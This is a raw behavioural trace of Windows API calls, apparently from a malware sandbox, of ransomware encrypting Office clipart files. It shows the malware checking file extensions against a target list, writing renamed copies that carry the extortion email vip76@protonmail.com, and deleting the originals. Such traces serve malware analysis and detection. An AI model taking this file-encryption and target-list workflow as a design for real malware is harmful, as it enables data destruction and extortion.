	[0202.115] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x4030, lpOverlapped=0x0) returned 1
	[0202.401] WriteFile (in: hFile=0x480, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x4040, lpOverlapped=0x0) returned 1
	[0202.402] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.402] WriteFile (in: hFile=0x480, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.402] SetEndOfFile (hFile=0x480) returned 1
	[0202.939] CloseHandle (hObject=0x480) returned 1
	[0202.939] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.939] SetEndOfFile (hFile=0x554) returned 1
	[0202.955] CloseHandle (hObject=0x554) returned 1
	[0202.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 1
	[0202.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0202.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0202.957] lstrlenW (lpString=".doc") returned 4
	[0202.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.957] lstrlenW (lpString=".docx") returned 5
	[0202.957] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0202.957] lstrlenW (lpString=".pdf") returned 4
	[0202.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.957] lstrlenW (lpString=".xls") returned 4
	[0202.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.957] lstrlenW (lpString=".xlsx") returned 5
	[0202.957] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0202.957] lstrlenW (lpString=".ppt") returned 4
	[0202.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0202.957] lstrlenW (lpString=".zip") returned 4
	[0202.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.957] lstrlenW (lpString=".rar") returned 4
	[0202.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.957] lstrlenW (lpString=".bz2") returned 4
	[0202.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.957] lstrlenW (lpString=".7z") returned 3
	[0202.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0202.957] lstrlenW (lpString=".dbf") returned 4
	[0202.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0202.957] lstrlenW (lpString=".1cd") returned 4
	[0202.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0202.957] lstrlenW (lpString=".jpg") returned 4
	[0202.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0202.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0202.958] lstrlenW (lpString=".doc") returned 4
	[0202.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.958] lstrlenW (lpString=".docx") returned 5
	[0202.958] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0202.958] lstrlenW (lpString=".pdf") returned 4
	[0202.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.958] lstrlenW (lpString=".xls") returned 4
	[0202.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.958] lstrlenW (lpString=".xlsx") returned 5
	[0202.958] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0202.958] lstrlenW (lpString=".ppt") returned 4
	[0202.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0202.958] lstrlenW (lpString=".zip") returned 4
	[0202.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.958] lstrlenW (lpString=".rar") returned 4
	[0202.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.958] lstrlenW (lpString=".bz2") returned 4
	[0202.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.958] lstrlenW (lpString=".7z") returned 3
	[0202.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0202.958] lstrlenW (lpString=".dbf") returned 4
	[0202.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0202.958] lstrlenW (lpString=".1cd") returned 4
	[0202.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0202.958] lstrlenW (lpString=".jpg") returned 4
	[0202.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.959] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.959] lstrlenW (lpString="J0152610.WMF") returned 12
	[0202.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0202.960] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=5960) returned 1
	[0202.960] CloseHandle (hObject=0x554) returned 1
	[0202.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 0x220
	[0202.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0202.960] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.961] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480
	[0202.961] GetLastError () returned 0x0
	[0202.962] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1748, lpOverlapped=0x0) returned 1
	[0202.963] WriteFile (in: hFile=0x480, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1750, lpOverlapped=0x0) returned 1
	[0202.964] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.964] WriteFile (in: hFile=0x480, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.964] SetEndOfFile (hFile=0x480) returned 1
	[0202.964] CloseHandle (hObject=0x480) returned 1
	[0202.965] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.965] SetEndOfFile (hFile=0x554) returned 1
	[0202.972] CloseHandle (hObject=0x554) returned 1
	[0202.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 1
	[0202.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0202.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0202.973] lstrlenW (lpString=".doc") returned 4
	[0202.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.973] lstrlenW (lpString=".docx") returned 5
	[0202.973] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0202.973] lstrlenW (lpString=".pdf") returned 4
	[0202.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.973] lstrlenW (lpString=".xls") returned 4
	[0202.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.973] lstrlenW (lpString=".xlsx") returned 5
	[0202.973] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0202.973] lstrlenW (lpString=".ppt") returned 4
	[0202.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0202.974] lstrlenW (lpString=".zip") returned 4
	[0202.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.974] lstrlenW (lpString=".rar") returned 4
	[0202.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.974] lstrlenW (lpString=".bz2") returned 4
	[0202.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.974] lstrlenW (lpString=".7z") returned 3
	[0202.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0202.974] lstrlenW (lpString=".dbf") returned 4
	[0202.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0202.974] lstrlenW (lpString=".1cd") returned 4
	[0202.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0202.974] lstrlenW (lpString=".jpg") returned 4
	[0202.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0202.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0202.974] lstrlenW (lpString=".doc") returned 4
	[0202.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.974] lstrlenW (lpString=".docx") returned 5
	[0202.974] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0202.974] lstrlenW (lpString=".pdf") returned 4
	[0202.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.974] lstrlenW (lpString=".xls") returned 4
	[0202.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.974] lstrlenW (lpString=".xlsx") returned 5
	[0202.974] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0202.974] lstrlenW (lpString=".ppt") returned 4
	[0202.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0202.974] lstrlenW (lpString=".zip") returned 4
	[0202.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.975] lstrlenW (lpString=".rar") returned 4
	[0202.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.975] lstrlenW (lpString=".bz2") returned 4
	[0202.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.975] lstrlenW (lpString=".7z") returned 3
	[0202.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0202.975] lstrlenW (lpString=".dbf") returned 4
	[0202.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0202.975] lstrlenW (lpString=".1cd") returned 4
	[0202.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68
	[0202.975] lstrlenW (lpString=".jpg") returned 4
	[0202.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.975] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.975] lstrlenW (lpString="J0152622.WMF") returned 12
	[0202.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0202.977] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=9604) returned 1
	[0202.977] CloseHandle (hObject=0x554) returned 1
	[0202.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 0x220
	[0202.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0202.978] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.978] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480
	[0202.979] GetLastError () returned 0x0
	[0202.979] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x2584, lpOverlapped=0x0) returned 1
	[0202.981] WriteFile (in: hFile=0x480, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x2590, lpOverlapped=0x0) returned 1
	[0202.982] ReadFile (in: hFile=0x554, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.982] WriteFile (in: hFile=0x480, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.982] SetEndOfFile (hFile=0x480) returned 1
	[0202.982] CloseHandle (hObject=0x480) returned 1
	[0202.982] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.982] SetEndOfFile (hFile=0x554) returned 1
	[0202.997] CloseHandle (hObject=0x554) returned 1
	[0202.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 1
	[0202.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0203.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0203.000] lstrlenW (lpString=".doc") returned 4
	[0203.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.000] lstrlenW (lpString=".docx") returned 5
	[0203.000] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0203.000] lstrlenW (lpString=".pdf") returned 4
	[0203.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.000] lstrlenW (lpString=".xls") returned 4
	[0203.000] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.000] lstrlenW (lpString=".xlsx") returned 5
	[0203.000] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0203.000] lstrlenW (lpString=".ppt") returned 4
	[0203.000] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0203.000] lstrlenW (lpString=".zip") returned 4
	[0203.000] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.000] lstrlenW (lpString=".rar") returned 4
	[0203.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.000] lstrlenW (lpString=".bz2") returned 4
	[0203.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.000] lstrlenW (lpString=".7z") returned 3
	[0203.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0203.000] lstrlenW (lpString=".dbf") returned 4
	[0203.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0203.000] lstrlenW (lpString=".1cd") returned 4
	[0203.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0203.000] lstrlenW (lpString=".jpg") returned 4
	[0203.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0203.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0203.001] lstrlenW (lpString=".doc") returned 4
	[0203.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.001] lstrlenW (lpString=".docx") returned 5
	[0203.001] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0203.001] lstrlenW (lpString=".pdf") returned 4
	[0203.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.001] lstrlenW (lpString=".xls") returned 4
	[0203.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.001] lstrlenW (lpString=".xlsx") returned 5
	[0203.001] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0203.001] lstrlenW (lpString=".ppt") returned 4
	[0203.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0203.001] lstrlenW (lpString=".zip") returned 4
	[0203.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.001] lstrlenW (lpString=".rar") returned 4
	[0203.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.001] lstrlenW (lpString=".bz2") returned 4
	[0203.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.001] lstrlenW (lpString=".7z") returned 3
	[0203.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0203.001] lstrlenW (lpString=".dbf") returned 4
	[0203.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0203.001] lstrlenW (lpString=".1cd") returned 4
	[0203.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68
	[0203.001] lstrlenW (lpString=".jpg") returned 4
	[0203.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.002] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0203.002] lstrlenW (lpString="J0152626.WMF") returned 12
	[0203.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288
	[0203.502] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=26248) returned 1
	[0203.502] CloseHandle (hObject=0x288) returned 1
	[0203.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 0x220
	[0203.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0203.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288
	[0203.759] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.759] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0203.761] GetLastError () returned 0x0
